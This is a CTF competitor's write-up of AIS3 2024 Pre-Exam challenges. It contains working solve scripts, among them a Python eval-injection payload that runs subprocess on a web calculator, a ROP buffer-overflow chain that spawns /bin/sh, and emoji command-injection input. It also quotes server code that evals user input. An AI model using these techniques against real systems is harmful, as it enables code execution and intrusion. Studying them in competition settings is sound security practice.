AIS3 2024 Pre-Exam Write Up
===
:::info
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/H1QFsMdHC.png">
<p style="font-size:20px">RK: 41/328</p>
</div>
:::
---
## MISC
### Welcome
:::info
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/HknllbdBR.png">
</div>
:::
### Quantum Nim Heist
:::info
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/SkpH9X3HC.png">
</div>
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/SJAaNQ_SA.png">
<p>拿石頭遊戲,最後拿就贏</p>
</div>
:::
:::success
動手多玩幾次發現有個bug可以跳過回合,一直跳過回合直到剩下一排自己拿走就獲勝了
```python=
from pwn import process, remote
import sys
io = (
process(["python3", "server.py"])
if len(sys.argv) == 1
else remote("chals1.ais3.org", 40004)
if sys.argv[1] == "remote"
else (print("Invalid argument") or sys.exit(1))
)
io.sendline(b"1")
io.sendline(b"0")
io.sendline(b"0")
io.sendline(b"1")
io.recvuntil("+---+-------------- stones info ------------------+\n")
while True:
io.recvuntil("+---+-------------- stones info ------------------+\n")
io.recvuntil("+---+-------------- stones info ------------------+\n")
n = []
s = io.recvuntil("+---+--------------- game menu -------------------+\n").decode().strip()
for i in s.split("\n")[:-1]:
n.append(i.count("o"))
if len(n) > 1:
io.sendline(b"")
else:
io.sendline(b"0")
io.sendline(b"0")
io.sendline(str(n[0]).encode())
break
print(io.recvuntil("+-------------------------------------------------+").decode().strip().split("\n")[-2].split(" ")[1].split(" ")[0])
```
AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}
:::
:::warning
`choice`判斷時沒有用else所以可以跳過回合,但是一定要玩一回合的原因是玩家先動,
如果`count`跟`pile`還沒宣告呼叫`print_move('you', count, pile)`,裡面的
`print('| ' + f'{person} removed {count} stones from pile {pile}'.ljust(47) + ' |')`
會噴錯
```python=
while not game.ended():
game.show()
print_game_menu()
choice = input('it\'s your turn to move! what do you choose? ').strip()
if choice == '0':
pile = int(input('which pile do you choose? '))
count = int(input('how many stones do you remove? '))
if not game.make_move(pile, count):
print_error('that is not a valid move!')
continue
elif choice == '1':
game_str = game.save()
digest = hash.hexdigest(game_str.encode())
print('you game has been saved! here is your saved game:')
print(game_str + ':' + digest)
return
elif choice == '2':
break
# no move -> player wins!
if game.ended():
win = True
break
else:
print_move('you', count, pile)
game.show()
```
:::
### Three Dimensional Secret
:::info
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/HJXJHMuBA.png">
</div>
:::
:::success
裡面只有一個WireShark的pcapng,裡面有一堆`G1 F1200 X113.079 Y147.223 E1.55258`之類的的座標,OSINT一下找到了G-code,又找到了線上的`NC viewer`,寫個Python過濾整理一下
```python=
s = ["ST", "MAN", "MX", "USER"]
a = open("./capture.pcapng", "rb").read().split(b"\r\n")
b = [i.decode().strip() for i in a if len(i) <= 50]
f = open("output", "w")
for i in b:
r = True
if i == "":
continue
for j in s:
if j in i:
r = False
break
if r:
f.write(i + "\n")
```
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/HygEGXuB0.png">
</div>
:::
:::warning
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/SJ4b4rar0.png">
<p>我後來才知道有Follow TCP Stream這東東==</p>
</div>
:::
### Emoji Console
:::info
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/rJeHHM_SR.png">
</div>
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/S1VOHzuBR.png">
</div>
:::
:::success
🐱 ⭐
cat *
💿 🚩 😜😐 🐱 ⭐
cd flag ;p:| cat *
💿 🚩 😜😐 🐍 ⭐
cd flag ;p:| python *
AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}
:::
:::warning
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/BJ6bX7dSR.png">
<p>好爛喔,我怎麼沒想到🐱 ⭐搞半天==</p>
</div>
:::
### Hash Guesser (賽後解)
:::info
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/rJt4REdB0.png">
</div>
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/H1FtCNur0.png">
<p>一個可以上傳圖片的網頁</p>
</div>
```python=
def is_same_image(img1: Image.Image, img2: Image.Image) -> bool:
return ImageChops.difference(img1, img2).getbbox() == None
uploaded_image = Image.open(file.stream)
target_image = generate_image()
if util.is_same_image(uploaded_image, target_image):
return jsonify({"flag": FLAG})
else:
return jsonify({"error": "Wrong guess"}), 400
```
:::
:::success
就生一個沒填顏色的圖片就沒有Bounding Box
```python=
uploaded_image = Image.new("L", (1, 1), 0)
uploaded_image.save("empty_image.png")
```
AIS3{https://github.com/python-pillow/Pillow/issues/2982}
:::
<div style="text-align: center;">
<img src="https://cdn.7tv.app/emote/61e61d3c1f8f9d5cf633a586/4x.webp", width="70%">
</div>
:::warning
<div style="text-align: center;">
不是我怎麼沒有解出這題<img src="https://cdn.7tv.app/emote/63c8a6c330027778647b3de8/4x.webp", width="10%">
解完就前30了欸<img src="https://cdn.7tv.app/emote/60b1517fdb601b4ac8ed7916/4x.webp", width="5%">
</div>
:::
---
## Web
### Evil Calculator
:::info
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/HJreUfuHA.png">
<p>就是一個計算機的網頁</p>
</div>
```python=
@app.route('/calculate', methods=['POST'])
def calculate():
data = request.json
expression = data['expression'].replace(" ","").replace("_","")
try:
result = eval(expression)
except Exception as e:
result = str(e)
return jsonify(result=str(result))
```
:::
:::success
```python=
import requests
ip = "http://chals1.ais3.org:5001/calculate"
payload = "eval(\"AAimportAA('subprocess').run(['cat', '../flag'], captureAoutput=True, text=True)\".replace('A', chr(95)))"
data = {
"expression": payload
}
response = requests.post(ip, json=data)
result = response.json()
flag = result['result']
print(flag)
```
CompletedProcess(args=['cat', '../flag'], returncode=0, stdout='AIS3{7RiANG13_5NAK3_I5_50_3Vi1}', stderr='')
:::
:::warning
多一個`eval()`是為了為了繞過`replace()`,原本的`eval()`才能跑正確的payload
```python=
expression = data['expression'].replace(" ","").replace("_","")
```
:::
---
## Reverse
### The Long Point
:::info
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/B1DDLz_BC.png">
</div>
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/SyNmPXuBR.png">
</div>
:::
:::success
用GDB跳過Sleep就能看到flag了
或者整理一下`secret`跟`key`
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/ryIAwmuSR.png">
</div>
```python=
secret = [
0x454B4146, 0x0B, 0x6F6F687B, 0x0A, 0x5F796172, 0x2, 0x69727473, 0x8,
0x5F73676E, 0x6, 0x615F7369, 0x5, 0x7961776C, 0x7, 0x6E615F73, 0x4,
0x6573755F, 0x9, 0x5F6C7566, 0x0, 0x6D6D6F63, 0x1, 0x7D7A6E61, 0x3
]
key = [
0x3A011001, 0x4C4C1B0D, 0x3A0B002D, 0x454F40,
0x3104321A, 0x3E2D161D, 0x2C120A31, 0x0D3E1103,
0x0C1A002C, 0x41D1432, 0x1A003100, 0x76180807
]
for i in range(0, 24, 2):
x = secret[i] ^ key[secret[i + 1]]
for j in range(4):
print(chr(x % 256), end = "")
x >>= 8
print()
```
AIS3{You_are_the_master_of_time_management!!!!?}
:::
### 火拳のエース
:::info
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/rkL6LMuHR.png">
</div>
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/rkSC_mdS0.png">
<p>Flag Checker</p>
</div>
:::
:::success
`complex_function`爆破順序反著做就有Flag了
```python=
def complex_function(a1, a2):
if ( a1 <= 64 or a1 > 90 ):
print("It feels slightly wrong, but almost correct...")
v5 = (17 * a2 + a1 - 65) % 26
v4 = a2 % 3 + 3
if (a2 % 3 == 2):
v5 = (v5 - v4 + 26) % 26
elif (a2 % 3 == 1):
v5 = (2 * v4 + v5) % 26
else:
v5 = (v4 * v5 + 7) % 26
return chr(v5 + 65)
res0 = "DHLIYJEG"
res1 = "MZRERYND"
res2 = "RUYODBAH"
res3 = "BKEMPBRE"
s0 = []
s1 = []
s2 = []
s3 = []
for i in range(8):
for j in range(ord('A'), ord('Z') + 1):
if res0[i] == complex_function(j, i):
s0.append(j)
if res1[i] == complex_function(j, i + 32):
s1.append(j)
if res2[i] == complex_function(j, i + 64):
s2.append(j)
if res3[i] == complex_function(j, i + 96):
s3.append(j)
xor0 = [0x0e, 0x0d, 0x7d, 0x06, 0x0f, 0x17, 0x76, 0x04, 0x00]
xor1 = [0x6d, 0x00, 0x1b, 0x7c, 0x6c, 0x13, 0x62, 0x11, 0x00]
xor2 = [0x1e, 0x7e, 0x06, 0x13, 0x07, 0x66, 0x0e, 0x71, 0x00]
xor3 = [0x17, 0x14, 0x1d, 0x70, 0x79, 0x67, 0x74, 0x33, 0x00]
flag0 = "".join([chr(i ^ j) for i, j in zip(xor0, s0)])
flag1 = "".join([chr(i ^ j) for i, j in zip(xor1, s1)])
flag2 = "".join([chr(i ^ j) for i, j in zip(xor2, s2)])
flag3 = "".join([chr(i ^ j) for i, j in zip(xor3, s3)])
print(f"AIS3{{G0D{flag0}{flag1}{flag2}{flag3}")
```
AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}
:::
---
## Pwn
### Mathter
:::info
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/S1CdDG_SR.png">
</div>
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/HkXxs7uHA.png">
</div>
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/r1Kqc7OBA.png">
<p>能BOF那就ROP吧</p>
</div>
:::
:::success
- ROPgadget --binary mathter --multibr --only "mov|ret|pop|ret|syscall" > gadget
- 0x000000000042e3a7 : pop rax ; ret
- 0x0000000000402540 : pop rdi ; ret
- 0x00000000004126a3 : pop rsi ; ret
- 0x000000000047b917 : pop rdx ; pop rbx ; ret
- 0x000000000042f981 : mov qword ptr [rsi], rax ; ret
- 0x000000000041a5e2 : syscall ; ret
- objdump -s -j .data mathter
- mathter: file format elf64-x86-64
- Contents of section .data:
- 4bc000 00000000 00000000 00000000 00000000 ................
```python=
from pwn import process, remote, make_packer, flat
import sys
io = (
process("./mathter")
if len(sys.argv) == 1
else remote("chals1.ais3.org", 50001)
if sys.argv[1] == "remote"
else (print("Invalid argument") or sys.exit(1))
)
p64 = make_packer(64)
io.sendline(b"q")
free_buffer = p64(0x4bc000)
pop_rax = p64(0x000000000042e3a7)
pop_rdi = p64(0x0000000000402540)
pop_rsi = p64(0x00000000004126a3)
pop_rdx_rbx = p64(0x000000000047b917)
mov_qword_ptr_rsi_rax = p64(0x000000000042f981)
alignment = p64(0x401ac6)
syscall = p64(0x000000000041a5e2)
io.sendline(flat(
b"A" * 12,
pop_rsi, free_buffer,
pop_rax, b"/bin/sh\0",
mov_qword_ptr_rsi_rax,
pop_rdi, free_buffer,
pop_rsi, p64(0),
pop_rdx_rbx, p64(0), p64(0),
pop_rax, p64(0x3b),
alignment,
syscall
))
io.interactive()
```
AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}
:::
---
## Crypto
### babyRSA
:::info
<div style="text-align: center;">
<img src="https://hackmd.io/_uploads/HyhXPMdrA.png">
</div>
```python=
def encrypt(pk, plaintext):
key, n = pk
cipher = [pow(ord(char), key, n) for char in plaintext]
return cipher
```
:::
:::success
直接爆破
```python=
from string import printable
s = open("./output.txt", "r").read().replace(":", "=").split("\n")
PublicKey = eval(s[0].split("= ")[1])
Encrypted = eval(s[1].split("= ")[1])
m = {}
for i in printable:
m[pow(ord(i), PublicKey[0], PublicKey[1])] = i
print("".join([m[i] for i in Encrypted]))
```
@)!,\*^=AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}-=1#&\*
:::
:::danger
<div style="text-align: center;">
本來還想解一題Reverse結果視窗程式真的不太會逆==我再去練練,下次一定RK30以前
</div>
:::
:::spoiler
<div style="text-align: center;">
<img src="https://cdn.7tv.app/emote/62f117fcda653a5a47abbed1/4x.webp", width="50%">
<p style="font-size:50px">下次一定</p>
<div style="text-align: right;">
<p style="font-size:25px">-Niiixkz</p>
</div>
</div>
:::